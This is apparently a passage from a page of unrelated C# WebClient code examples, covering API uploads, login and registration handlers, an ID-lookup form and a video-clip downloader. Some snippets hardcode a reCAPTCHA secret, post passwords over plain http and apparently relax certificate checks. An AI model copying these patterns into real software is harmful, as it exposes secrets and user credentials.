                                                a = sqlite.GetItem(sqliteCon, en.Itmref);
                                            }

                                            JObject parameters = new JObject();
                                            parameters.Add("itmref", en.Itmref);
                                            parameters.Add("itmdes", a == null ? string.Empty : a.Itmdes);
                                            //parameters.Add("itmdes", string.Empty);
                                            parameters.Add("value", en.Value);
                                            parameters.Add("stu", en.Unit);
                                            parameters.Add("operator", "000");
                                            parameters.Add("hash", en.Hash);
                                            parameters.Add("location", en.Location);
                                            parameters.Add("location_data", string.Empty);

                                            DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
                                            parameters.Add("time", Convert.ToInt64((en.Time - epoch).TotalSeconds));

                                            //response = client.Execute(request);
                                            response = cl.UploadString(url, parameters.ToString());
                                            r        = JObject.Parse(response);
                                            //ignore result because we want to update local record anyway
                                            if (r.ContainsKey("result"))
                                            {
                                                jdata       = r["jdata"];
                                                en.Sync     = CountEntry.SyncStatus.POSTED;
                                                en.SyncCode = jdata["id"].Value <Int32>();
                                            }
                                        }
                                        else
                                        {
                                            en.Sync = CountEntry.SyncStatus.POSTED;
                                        }
                                    }

                                    //update local DB
                                    using (SQLiteConnection sqliteCon = sqlite.Connect())
                                    {
                                        foreach (CountEntry en in hoes)
                                        {
                                            if (en.Sync == CountEntry.SyncStatus.POSTED)
                                            {
                                                sqlite.Update(sqliteCon, en);
                                                dirty = true;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine(ex.Message);
                }


                int t = dirty ? 10 : 60;
                while (t-- > 0 || backgroundWorkerSync.CancellationPending)
                {
                    Thread.Sleep(1000);
                }
            }
        }
    public static void DownloadClip(WebClient client, Clip clip)
    {
        // Request Header
        // Content-Type: application/json;charset=utf-8
        // Cookie: PSM=ABCDE.....
        //
        // Request Body
        // {a:"scott-allen", m:"mvc-ajax", course:"aspdotnet-mvc-advanced-topics", cn:1, mt:"mp4", q:"1024x768", cap:false, lc:"en"}

        client.Headers.Add("Content-Type", "application/json");
        var request = String.Format(
            @"{{a:""{0}"", m:""{1}"", course:""{2}"", cn:{3}, mt:""mp4"", q:""1024x768"", cap:false, lc:""en""}}",
            clip.Author, clip.Name, clip.Course, clip.Num);

        Logger.LogToConsoleEnabled = false;
        Logger.Log("Request: " + request);
        var response = client.UploadString(ClipRequestUrl, request);
        Logger.Log("Response: " + response);
        Logger.LogToConsoleEnabled = true;

        client.DownloadFile(response, clip.Course + "/" + clip.FileName);
    }
示例#20
0
 public static async Task ConcurrentOperations_Throw()
 {
     await LoopbackServer.CreateServerAsync((server, url) =>
     {
         var wc = new WebClient();
         Task ignored = wc.DownloadDataTaskAsync(url); // won't complete
         Assert.Throws<NotSupportedException>(() => { wc.DownloadData(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadDataAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadDataTaskAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadString(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadStringAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadStringTaskAsync(url); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFile(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFileAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.DownloadFileTaskAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadData(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadDataAsync(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadDataTaskAsync(url, new byte[42]); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadString(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadStringAsync(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadStringTaskAsync(url, "42"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFile(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFileAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadFileTaskAsync(url, "path"); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValues(url, new NameValueCollection()); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValuesAsync(url, new NameValueCollection()); });
         Assert.Throws<NotSupportedException>(() => { wc.UploadValuesTaskAsync(url, new NameValueCollection()); });
         return Task.CompletedTask;
     });
 }
示例#21
0
    private string _processRequest(Dictionary<string, string> postVariables)
    {
        string queryString = _prepareQueryString(postVariables);
        string result      = "";
        using (WebClient wc = new WebClient()) {
            wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
            result = wc.UploadString(serverUrl, queryString);
        }

        return result;
    }
        static void Main(string[] args)
        {
            // Create standard .NET web client instance
            WebClient webClient = new WebClient();

            // Set API Key
            webClient.Headers.Add("x-api-key", API_KEY);

            // 1. RETRIEVE THE PRESIGNED URL TO UPLOAD THE FILE.
            // * If you already have a direct file URL, skip to the step 3.

            // Prepare URL for `Get Presigned URL` API call
            string query = Uri.EscapeUriString(string.Format(
                                                   "https://api.pdf.co/v1/file/upload/get-presigned-url?contenttype=application/octet-stream&name={0}",
                                                   Path.GetFileName(SourceFile)));

            try
            {
                // Execute request
                string response = webClient.DownloadString(query);

                // Parse JSON response
                JObject json = JObject.Parse(response);

                if (json["status"].ToString() != "error")
                {
                    // Get URL to use for the file upload
                    string uploadUrl       = json["presignedUrl"].ToString();
                    string uploadedFileUrl = json["url"].ToString();

                    // 2. UPLOAD THE FILE TO CLOUD.

                    webClient.Headers.Add("content-type", "application/octet-stream");
                    webClient.UploadFile(uploadUrl, "PUT", SourceFile); // You can use UploadData() instead if your file is byte[] or Stream
                    webClient.Headers.Remove("content-type");

                    // 3. CONVERT UPLOADED PDF FILE TO CSV

                    // Prepare URL for `PDF To CSV` API call
                    var url = Uri.EscapeUriString(string.Format(
                                                      "https://api.pdf.co/v1/pdf/convert/to/csv?name={0}&password={1}&pages={2}&url={3}&profiles={4}",
                                                      Path.GetFileName(DestinationFile),
                                                      Password,
                                                      Pages,
                                                      uploadedFileUrl,
                                                      Profiles));

                    // Prepare requests params as JSON
                    Dictionary <string, object> parameters = new Dictionary <string, object>();
                    parameters.Add("name", Path.GetFileName(DestinationFile));
                    parameters.Add("password", Password);
                    parameters.Add("pages", Pages);
                    parameters.Add("url", uploadedFileUrl);
                    parameters.Add("profiles", Profiles);

                    // Convert dictionary of params to JSON
                    string jsonPayload = JsonConvert.SerializeObject(parameters);

                    // Execute POST request with JSON payload
                    response = webClient.UploadString(url, jsonPayload);

                    // Parse JSON response
                    json = JObject.Parse(response);

                    if (json["status"].ToString() != "error")
                    {
                        // Get URL of generated CSV file
                        string resultFileUrl = json["url"].ToString();

                        // Download CSV file
                        webClient.DownloadFile(resultFileUrl, DestinationFile);

                        Console.WriteLine("Generated CSV file saved as \"{0}\" file.", DestinationFile);
                    }
                    else
                    {
                        Console.WriteLine(json["message"].ToString());
                    }
                }
                else
                {
                    Console.WriteLine(json["message"].ToString());
                }
            }
            catch (WebException e)
            {
                Console.WriteLine(e.ToString());
            }

            webClient.Dispose();


            Console.WriteLine();
            Console.WriteLine("Press any key...");
            Console.ReadKey();
        }
示例#23
0
    public static void Test()
    {
        string      baseAddress = "http://" + Environment.MachineName + ":8000/Service";
        ServiceHost host        = new ServiceHost(typeof(Service), new Uri(baseAddress));

        host.AddServiceEndpoint(typeof(ITestService), new BasicHttpBinding(), "soap");
        host.AddServiceEndpoint(typeof(ITestService), new WebHttpBinding(), "rest").Behaviors.Add(new WebHttpBehavior());
        host.Open();
        Console.WriteLine("Host opened");
        var factory = new ChannelFactory <ITestService>(new BasicHttpBinding(), new EndpointAddress(baseAddress + "/soap"));
        var proxy   = factory.CreateChannel();
        var input   = new TestRequestContract {
            TestRequest = new TestRequest {
                InnerTestRequest = new InnerTestRequest {
                    ID = 2
                }, ID = 4
            }
        };

        Console.WriteLine(proxy.Test(input).TestResponse.ID);
        ((IClientChannel)proxy).Close();
        factory.Close();
        factory = new ChannelFactory <ITestService>(new WebHttpBinding(), new EndpointAddress(baseAddress + "/rest"));
        factory.Endpoint.Behaviors.Add(new WebHttpBehavior());
        proxy = factory.CreateChannel();
        Console.WriteLine(proxy.Test(input).TestResponse.ID);
        ((IClientChannel)proxy).Close();
        factory.Close();
        Console.WriteLine();
        Console.WriteLine("Now using the inputs from the OP");
        foreach (bool useSoap in new bool[] { true, false })
        {
            WebClient c = new WebClient();
            c.Headers[HttpRequestHeader.ContentType] = "text/xml";
            if (useSoap)
            {
                c.Headers["SOAPAction"] = "http://www.mysite.com/Test/ITestService/Test";
            }
            string uri = useSoap ?
                         baseAddress + "/soap" :
                         baseAddress + "/rest/Test";
            Console.WriteLine("Request to {0}", uri);
            string body = @"<TestRequest xmlns=""http://www.mysite.com/Test"">
                                    <InnerTestRequest>
                                        <ID>2</ID>       
                                    </InnerTestRequest>
                                    <ID>4</ID>
                                </TestRequest>";
            if (useSoap)
            {
                body = "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"><s:Body>" +
                       body +
                       "</s:Body></s:Envelope>";
            }
            Console.WriteLine(c.UploadString(uri, body));
            Console.WriteLine();
        }
        Console.Write("Press ENTER to close the host");
        Console.ReadLine();
        host.Close();
    }
        public void GetIPRSData(string IDorPassport, string IDNumber, int number)
        {
            try
            {
                using (var client = new WebClient())
                {
                    string SendDetails = IDorPassport + ":::ID:::" + IDNumber;

                    //= WSConfig.ObjNav.GnSendIdDetails();///DFGHJKL
                    string[] DetailsArray;

                    DetailsArray = SendDetails.Split(new string[] { ":::" }, StringSplitOptions.RemoveEmptyEntries);
                    if (DetailsArray[2].Length > 6)
                    {
                        EnableTrustedHosts();

                        client.Headers.Add("Content-Type", "application/json");

                        var vm = new { idDoc = DetailsArray[0], type = DetailsArray[1], number = DetailsArray[2], appName = "Navision" };

                        var    dataString = JsonConvert.SerializeObject(vm);
                        string result     = string.Empty;
                        try
                        {
                            result = client.UploadString("https://192.168.0.55:16357/iprs", "POST", dataString);
                            string photo = null;
                            // IEnumerable< memberinfo> IprsDetails = JsonConvert.DeserializeObject< IEnumerable < memberinfo > >(result);
                            memberinfo         IprsDetails  = null;
                            memberinfopassport iprsPassport = null;
                            if (DetailsArray[0].Equals("NATIONAL_ID"))
                            {
                                IprsDetails = JsonConvert.DeserializeObject <memberinfo>(result);
                                if (IprsDetails.errorCode == "")
                                {
                                    photo = IprsDetails.photo;

                                    byte[]     buffer = Convert.FromBase64String(photo);
                                    FileStream file   = File.Create(Properties.Settings.Default.IPRS_Photo_File + IprsDetails.idNumber + ".jpg");
                                    file.Write(buffer, 0, buffer.Length);
                                    file.Close();

                                    byte[]     buffersign = Convert.FromBase64String(IprsDetails.signature);
                                    FileStream filesign   = File.Create(Properties.Settings.Default.IPRS_Signature_File + IprsDetails.idNumber + ".jpg");
                                    filesign.Write(buffersign, 0, buffersign.Length);
                                    filesign.Close();

                                    //member details
                                    if (number == 0)
                                    {
                                        txtFullnames.Text = IprsDetails.firstName + " " + IprsDetails.otherName + " " + IprsDetails.surname;
                                        Textgnd.Text      = IprsDetails.gender;
                                        TextDob.Text      = IprsDetails.dateOfBirth;
                                        TextPin.Text      = IprsDetails.pin;
                                    }
                                    //referee details
                                    else if (number == 1)
                                    {
                                        textrefName.Text = IprsDetails.firstName + " " + IprsDetails.otherName + " " + IprsDetails.surname;
                                        pretxtRId.Text   = IprsDetails.idNumber;
                                    }
                                    //kin details
                                    else if (number == 2)
                                    {
                                        TxtKnameMajor.Text = IprsDetails.firstName + " " + IprsDetails.otherName + " " + IprsDetails.surname;
                                        txtPrkinId.Text    = IprsDetails.idNumber;
                                        TxtKdot.Text       = IprsDetails.dateOfBirth;
                                    }
                                    //Guardian details
                                    else if (number == 3)
                                    {
                                        //TxtGname.Text = IprsDetails.firstName + " " + IprsDetails.otherName + " " + IprsDetails.surname;
                                        Gname = IprsDetails.firstName + " " + IprsDetails.otherName + " " + IprsDetails.surname;
                                        //pretxtKGid.Text = IprsDetails.idNumber;
                                        KGid = IprsDetails.idNumber;
                                        //TxtGdob.Text = IprsDetails.dateOfBirth;
                                        Gdob = IprsDetails.dateOfBirth;
                                    }

                                    //WSConfig.ObjNav.FnGetIprsDetails(
                                    //    IprsDetails.dateOfBirth,
                                    //    IprsDetails.firstName,
                                    //    IprsDetails.otherName,
                                    //    IprsDetails.surname,
                                    //    IprsDetails.idNumber,
                                    //    IprsDetails.gender,
                                    //IprsDetails.pin);
                                }
                                else
                                {
                                    //  WSConfig.ObjNav.GetErrorCodes(IprsDetails.errorCode, DetailsArray[2], IprsDetails.errorDesc);
                                }
                            }
                            else
                            {
                                iprsPassport = JsonConvert.DeserializeObject <memberinfopassport>(result);
                            }
                        }
                        catch (Exception e)
                        {
                            SACCOFactory.ShowAlert(e.Message);
                            //  WSConfig.ObjNav.GetErrorCodes("500", DetailsArray[2], e.Message);
                        }
                    }
                }
            }
            catch (Exception e)
            {
                SACCOFactory.ShowAlert(e.Message);
            }
        }
示例#25
0
    public void getLesson()
    {
        string Url = "http://spring-kou-service.herokuapp.com/api/login";

        string myParameters = $@"username={Session["username"]}&password={Session["password"]}";

        using (WebClient wc = new WebClient())
        {
            wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
            wc.Encoding = System.Text.Encoding.UTF8;
            string   HtmlResult = wc.UploadString(Url, myParameters);
            JObject  rss        = JObject.Parse(HtmlResult);
            string   rssName    = (string)rss["data"][0]["name"];
            string   rssSurname = (string)rss["data"][0]["surname"];
            string[] days       = { "Pazar", "Pazartesi", "Salı", "Çarşamba", "Perşembe", "Cuma", "Cumartesi" };
            DateTime toDay      = DateTime.Today;
            int      day        = Convert.ToInt32(toDay.DayOfWeek);

            foreach (var lessons in rss["lessons"])
            {
                lessonId.Add((string)lessons["id"]);
                lessonName.Add((string)lessons["name"]);
                lessonClock.Add((string)lessons["clock"]);
                lessonDay.Add((string)lessons["day"]);
                lessonLocation.Add((string)lessons["location"]);
            }

            for (int i = 0; i < lessonName.Count; i++)
            {
                lessonsDiv += $"<tr><td><a href='#detailLesson' data-toggle='modal' onclick='goPost(this.id)' id='{lessonId[i]}'>{lessonName[i]}</a></td><td>{lessonDay[i]}</td><td>{lessonClock[i]}</td><td>{lessonLocation[i]}</td></tr>";
                ListItem myLessonList = new ListItem();
                myLessonList.Text  = lessonName[i];
                myLessonList.Value = lessonId[i];
                MyLesson.Items.Add(myLessonList);
            }
            lessonsDiv         += "</tbody></table>";
            myLessons.InnerHtml = lessonsDiv;

            lessonName.Clear();
            lessonClock.Clear();
            lessonDay.Clear();
            lessonLocation.Clear();

            foreach (var lessons in rss["lessons"])
            {
                string toDays = (string)lessons["day"];
                if (toDays == Convert.ToString(days[day]))
                {
                    lessonName.Add((string)lessons["name"]);
                    lessonClock.Add((string)lessons["clock"]);
                    lessonDay.Add((string)lessons["day"]);
                    lessonLocation.Add((string)lessons["location"]);
                }
            }

            if (lessonName.Count != 0)
            {
                for (int i = 0; i < lessonName.Count; i++)
                {
                    lessonstodayDiv += $"<tr><td><a id='{lessonId[i]}'>{lessonName[i]}</a></td><td>{lessonDay[i]}</td><td>{lessonClock[i]}</td><td>{lessonLocation[i]}</td></tr>";
                }
                lessonstodayDiv         += "</tbody></table>";
                todaymyLessons.InnerHtml = lessonstodayDiv;
            }

            else
            {
                todaymyLessons.InnerHtml = "<p>Bugün dersiniz yok! ";
            }
        }
    }
示例#26
0
        public static void SendJson()
        {
            string result = "";

            List <String> recourcesList = new List <String>();

            recourcesList.Add("/auth");
            recourcesList.Add("/products");
            recourcesList.Add("/warehouses");
            recourcesList.Add("/customers");
            recourcesList.Add("/ShippingMethods");
            recourcesList.Add("/orders");

            List <String> requestsList = new List <String>();

            requestsList.Add("GET");
            requestsList.Add("POST");
            requestsList.Add("PUT");
            requestsList.Add("DELETE");

            try
            {
                if (entityTypeIndex != 4)
                {
                    LoadJson();
                    UpdateJson();
                    GetEntityName(json);
                }

                url = recourcesList[entityTypeIndex + 1];

                using (var client = new WebClient())
                {
                    client.Headers.Add("x-freestyle-api-auth", ApiToken);

                    if (requestsList[requestTypeIndex] == "POST")
                    {
                        if (entityTypeIndex == 4)
                        {
                            SendGetRequest(selectedEnvironmentLink + url + "/" + MainForm.orderNumber);

                            entityName = MainForm.orderNumber + "-" + RandomString(Convert.ToInt32(randomNumberLength));
                            json       = responseBody.Replace(MainForm.orderNumber, entityName);
                            json       = json.Replace("+00:00", "");
                        }
                        client.Headers[HttpRequestHeader.ContentType] = "application/json";
                        result = client.UploadString(selectedEnvironmentLink + url, requestsList[requestTypeIndex], json);
                        url    = url.Trim('/').TrimEnd('s');
                        MessageBox.Show("Request completed.\nNew " + url + " '" + entityName + "' has been created.");
                    }
                    else if (requestsList[requestTypeIndex] == "GET")
                    {
                        SendGetRequest(selectedEnvironmentLink + url);

                        int    firstCharIndex;
                        int    index;
                        string returnedItemName    = "";
                        string namesList           = "";
                        string matchesName         = "";
                        int    addingIndex         = 0;
                        string selectedListBoxItem = "";
                        string resourceName        = "";

                        Form    form         = new Form();
                        ListBox listBox      = new ListBox();
                        Label   label1       = new Label();
                        Label   label2       = new Label();
                        Button  okButton     = new Button();
                        Button  deleteButton = new Button();

                        listBox.Height = 250;
                        listBox.Width  = 200;
                        listBox.Anchor = listBox.Anchor | AnchorStyles.Right;

                        okButton.Text             = "OK";
                        deleteButton.Text         = "Delete Item";
                        okButton.DialogResult     = DialogResult.OK;
                        deleteButton.DialogResult = DialogResult.Yes;

                        label1.SetBounds(10, 10, 250, 15);
                        label2.SetBounds(10, 35, 250, 15);
                        listBox.SetBounds(10, 60, 220, 200);
                        okButton.SetBounds(145, 270, 75, 23);
                        deleteButton.SetBounds(25, 270, 100, 23);

                        deleteButton.FlatStyle = FlatStyle.Flat;
                        deleteButton.BackColor = Color.FromArgb(255, 53, 53);
                        deleteButton.ForeColor = Color.White;
                        deleteButton.Font      = new Font("Microsoft Sans Serif", 8, FontStyle.Bold);
                        deleteButton.Enabled   = false;

                        form.ClientSize      = new Size(240, 300);
                        form.Text            = "Found elements list";
                        form.BackColor       = System.Drawing.Color.White;
                        form.FormBorderStyle = FormBorderStyle.FixedDialog;
                        form.StartPosition   = FormStartPosition.CenterScreen;
                        form.MinimizeBox     = false;
                        form.MaximizeBox     = false;
                        form.AcceptButton    = okButton;
                        form.Controls.AddRange(new Control[] { label1, label2, listBox, okButton, deleteButton });

                        List <String> matchesNamesList = new List <String>();
                        matchesNamesList.Add("\"ProductName\"");
                        matchesNamesList.Add("\"WarehouseName\"");
                        matchesNamesList.Add("\"FirstName\"");
                        matchesNamesList.Add("\"Name\"");

                        matchesName = matchesNamesList[entityTypeIndex];

                        if (url.Contains("warehouses"))
                        {
                            addingIndex = 17;
                        }
                        else if (url.Contains("ShippingMethods"))
                        {
                            addingIndex = 8;
                        }
                        else if (url.Contains("products"))
                        {
                            addingIndex = 15;
                        }
                        else if (url.Contains("customers"))
                        {
                            addingIndex = 13;
                        }
                        StringBuilder sb = new StringBuilder();

                        var matches = Regex.Matches(responseBody, matchesName);
                        foreach (var m in matches)
                        {
                            index            = responseBody.IndexOf(m.ToString());
                            returnedItemName = responseBody.Remove(0, index + addingIndex);
                            firstCharIndex   = returnedItemName.IndexOf("\"");
                            if (firstCharIndex >= 0)
                            {
                                returnedItemName = returnedItemName.Remove(firstCharIndex, returnedItemName.Length - firstCharIndex);
                            }
                            namesList += returnedItemName + "\n";

                            sb.AppendLine(returnedItemName);
                            listBox.Items.Add(returnedItemName);
                            responseBody = responseBody.Remove(0, responseBody.IndexOf(returnedItemName) + returnedItemName.Length);
                            Console.WriteLine("--firstCharIndex: " + firstCharIndex);
                            Console.WriteLine("--returnedItemName: " + returnedItemName);
                        }
                        resourceName = url.Trim('/').TrimEnd('s');
                        listBox.SetSelected(0, true);

                        label1.Text = "Request completed (" + matches.Count + " elements found)";
                        label2.Text = "A list of " + resourceName + "s has been returned";

                        form.ShowDialog();
                        if (form.DialogResult == DialogResult.Yes)
                        {
                            selectedListBoxItem = listBox.SelectedItem.ToString();
                            DeleteRequest(selectedListBoxItem, selectedEnvironmentLink + url);
                        }
                    }
                }
            }
            catch (Exception e)
            {
                MessageBox.Show("Request failed:\n" + e.Message + "\n" + result);
            }
        }
示例#27
0
        public ActionResult Login(User model)
        {
            if (model.Email != null && model.Password != null)
            {
                CaptchaModel captchaModel;
                using (System.Net.WebClient webClient = new System.Net.WebClient())
                {
                    captchaModel = new CaptchaModel(System.Text.Encoding.Default.GetString(webClient.UploadValues("https://www.google.com/recaptcha/api/siteverify", new NameValueCollection()
                    {
                        ["secret"]   = "6Lch1uoUAAAAALTxp59SX0NAe9BZ9n8_yjT0VeFV",
                        ["response"] = Request.Form["g-recaptcha-response"],
                        ["remoteip"] = Request.ServerVariables["REMOTE_ADDR"]
                    })));
                }
                if (!captchaModel.success)
                {
                    TempData["Mesaj"] = new TempDataDictionary {
                        { "class", "alert-danger" }, { "Msg", "Güvenlik adımını tamamlayın" }
                    };
                }
                /* Burda Başlar Post eder */
                DataContractJsonSerializer ser =
                    new DataContractJsonSerializer(typeof(User));

                MemoryStream mem = new MemoryStream();
                ser.WriteObject(mem, model);
                string data =
                    Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
                WebClient webClientt = new WebClient();
                webClientt.Headers["Content-type"] = "application/json";
                webClientt.Encoding = Encoding.UTF8;
                var  response = webClientt.UploadString("http://localhost:65132/QarocoService.svc/UserLogin/User", "POST", data);
                User user     = JsonConvert.DeserializeObject <User>(response);
                /* Burda Biter */

                if (user != null)
                {
                    Session["LoginUser"] = user;

                    return(RedirectToAction("Index", "Home"));
                }
                else
                {
                    string ipAddress = Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
                    DataContractJsonSerializer serializer =
                        new DataContractJsonSerializer(typeof(string));

                    MemoryStream memoryStream = new MemoryStream();
                    serializer.WriteObject(memoryStream, model.Email);
                    string _data =
                        Encoding.UTF8.GetString(memoryStream.ToArray(), 0, (int)memoryStream.Length);
                    WebClient web = new WebClient();
                    web.Headers["Content-type"] = "application/json";
                    web.Encoding = Encoding.UTF8;
                    var  result = web.UploadString("http://localhost:65132/QarocoService.svc/User/UserLog", "POST", _data);
                    User _user  = JsonConvert.DeserializeObject <User>(result);

                    if (string.IsNullOrEmpty(ipAddress) && _user != null)
                    {
                        Log log = new Log();
                        ipAddress          = Request.ServerVariables["REMOTE_ADDR"];
                        log.LogEmail       = _user.Email;
                        log.LogDate        = DateTime.Now;
                        log.LogDescription = log.LogDate.Value.ToShortDateString() + " Tarihindeki giriş hatanız";
                        log.LogIp          = ipAddress;

                        DataContractJsonSerializer ser2 =
                            new DataContractJsonSerializer(typeof(Log));

                        MemoryStream memory = new MemoryStream();
                        ser2.WriteObject(memory, log);
                        string data2 =
                            Encoding.UTF8.GetString(memory.ToArray(), 0, (int)memory.Length);
                        WebClient _webClientt = new WebClient();
                        _webClientt.Headers["Content-type"] = "application/json";
                        _webClientt.Encoding = Encoding.UTF8;
                        var response2 = _webClientt.UploadString("http://localhost:65132/QarocoService.svc/Log/LogAdd", "POST", data2);
                        if (response2 == "true")
                        {
                            TempData["Mesaj"] = new TempDataDictionary {
                                { "class", "alert-danger" }, { "Msg", "Kullanıcı Adı veya şifre hatalı!" }
                            };
                            return(View());
                        }
                        else
                        {
                            return(View());
                        }
                    }
                    else
                    {
                        return(View());
                    }
                }
            }
            else
            {
                TempData["Mesaj"] = new TempDataDictionary {
                    { "class", "alert-danger" }, { "Msg", "Kullanıcı Adı veya şifre Girmediniz!" }
                };
                return(View());
            }
        }
示例#28
0
        public ActionResult Register(User model)
        {
            if (model.UserId == 0)
            {
                ViewBag.result = 1;
                return(RedirectToAction("Register"));
            }
            else if (model.Email != null && model.BirthYear != null && model.TcNo != null && model.Password != null && model.FirstName != null && model.LastName != null && model.Phone != null)
            {
                CaptchaModel captchaModel;
                using (System.Net.WebClient webClient = new System.Net.WebClient())
                {
                    captchaModel = new CaptchaModel(System.Text.Encoding.Default.GetString(webClient.UploadValues("https://www.google.com/recaptcha/api/siteverify", new NameValueCollection()
                    {
                        ["secret"]   = "6Lch1uoUAAAAALTxp59SX0NAe9BZ9n8_yjT0VeFV",
                        ["response"] = Request.Form["g-recaptcha-response"],
                        ["remoteip"] = Request.ServerVariables["REMOTE_ADDR"]
                    })));
                }
                if (!captchaModel.success)
                {
                    TempData["Mesaj"] = new TempDataDictionary {
                        { "class", "alert-danger" }, { "Msg", "Güvenlik adımını tamamlayın" }
                    };
                }
                var year = model.BirthYear.Value.Date.Year;

                var result = tcControl.TCKimlikNoDogrula(Convert.ToInt64(model.TcNo), model.FirstName.ToUpper(), model.LastName.ToUpper(), year);

                if (result)
                {
                    if (model.UserId == 2)
                    {
                        CourierVM item = new DL.ViewModels.CourierVM {
                            AddressId = 1, TcNo = model.TcNo, Phone = model.Phone, FirstName = model.FirstName, Password = model.Password, LastName = model.LastName, Email = model.Email, BirthYear = model.BirthYear.Value.Date
                        };
                        DataContractJsonSerializer ser =
                            new DataContractJsonSerializer(typeof(CourierVM));
                        MemoryStream mem = new MemoryStream();
                        ser.WriteObject(mem, item);
                        string data =
                            Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
                        WebClient webClientt = new WebClient();
                        webClientt.Headers["Content-type"] = "application/json";
                        webClientt.Encoding = Encoding.UTF8;
                        var response = webClientt.UploadString("http://localhost:65132/QarocoService.svc/Courier/CourierAdd", "POST", data);
                        var resultx  = JsonConvert.DeserializeObject(response);
                        return(RedirectToAction("Login"));
                        // resultx doğru ise ekrana kayıt başarılı çıkar
                    }
                    else if (model.UserId == 1)
                    {
                        CustomerVM item = new DL.ViewModels.CustomerVM {
                            AddressId = 1, TcNo = model.TcNo, Phone = model.Phone, FirstName = model.FirstName, Password = model.Password, LastName = model.LastName, Email = model.Email, BirthYear = model.BirthYear.Value.Date
                        };
                        DataContractJsonSerializer ser =
                            new DataContractJsonSerializer(typeof(CustomerVM));
                        MemoryStream mem = new MemoryStream();
                        ser.WriteObject(mem, item);
                        string data =
                            Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
                        WebClient webClientt = new WebClient();
                        webClientt.Headers["Content-type"] = "application/json";
                        webClientt.Encoding = Encoding.UTF8;
                        var response = webClientt.UploadString("http://localhost:65132/QarocoService.svc/Customer/CustomerAdd", "POST", data);
                        var resultx  = JsonConvert.DeserializeObject(response);
                        return(RedirectToAction("Login"));
                        // resultx doğru ise ekrana kayıt başarılı çıkar
                    }
                    else
                    {
                        ViewBag.result = 1;
                        return(RedirectToAction("Register"));
                    }
                }
                else
                {
                    ViewBag.result = 0;
                    return(RedirectToAction("Register"));
                }
            }
            else
            {
                ViewBag.result = 1;
                return(RedirectToAction("Register"));
            }
        }
    //---------------------------------------------------------------------
    //-------------------------  PUBLIC METHODS  --------------------------
    //---------------------------------------------------------------------

    // Use this to do a POST and create a session
    public IEnumerator LOGINUser(string email, string password)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;

        // First thing first - I need to do some cleanup of the email string
        // And I need to store those informations for other calls
        login_email = CleanInput(email);
        login_password = password;

        JSONObject nested_fields = new JSONObject(JSONObject.Type.OBJECT);
        nested_fields.AddField("email", login_email);
        nested_fields.AddField("password", login_password);
        JSONObject root_field = new JSONObject(JSONObject.Type.OBJECT);
        root_field.AddField("user", nested_fields);

        string encodedString = root_field.ToString();

        string result = "";

        while (!allProper && retryCount > 0)
        {
            // the actual call, in a try catch
            try
            {
                using (var client = new WebClient())
                {
                    client.Headers[HttpRequestHeader.ContentType] = "application/json";
                    result = client.UploadString(login_url, "POST", encodedString);
                }
                allProper = true;
            }
            catch (WebException ex)
            {
                retryCount--;

                if (retryCount == 0)
                {
                    Debug.Log("TESTexception: " + ex);
                    var response = ex.Response as HttpWebResponse;
                    errorHandler = RestError.GenericLoginError;

                    if (response != null)
                    {
                        Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                        switch ((int)response.StatusCode)
                        {

                            case 400:
                                errorHandler = RestError.WrongMail;
                                break;
                            case 401:
                                errorHandler = RestError.WrongPassword;
                                break;
                            case 500:
                                errorHandler = RestError.ServerError;
                                break;
                            default:
                                break;
                        }
                        break;
                    }
                }
            }
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
            JSONObject j = new JSONObject(result);
            // this won't work everytime
            Dictionary<string, string> decoded_response = j.ToDictionary();
            token = decoded_response["token"];
            logged_user_complete_name = decoded_response["complete_name"];
            logged_user_id = decoded_response["id"];


            int sessionCounter = int.Parse(decoded_response["sessions_counter"]);

            if (sessionCounter > 0)
            {
                sessionsHandler = RestSession.MultipleActive;
            }
        }
    }
    protected void btn_play_for_real_deposit_pledge_Click(object sender, EventArgs e)
    {
        HedgeEmLogEvent _xxx_log_event = new HedgeEmLogEvent();
        _xxx_log_event.p_method_name = "btn_play_for_real_deposit_pledge_Click";
        log.Info("[" + Session["username"].ToString() + "] clicked on Play for Real Deposit Pledge");
        try
        {
            // This will save the value of pledge amount in the database.
            play_for_real_deposit_pledge _play_for_real_deposit_pledge = new play_for_real_deposit_pledge
            {
                p_playerid = f_get_player_id(),
                p_play_for_real_amount = Convert.ToDouble(txt_play_for_real_deposit_pledge.Text)
            };

            DataContractJsonSerializer ser = new DataContractJsonSerializer(typeof(play_for_real_deposit_pledge));
            MemoryStream mem = new MemoryStream();
            ser.WriteObject(mem, _play_for_real_deposit_pledge);
            string data =
                Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
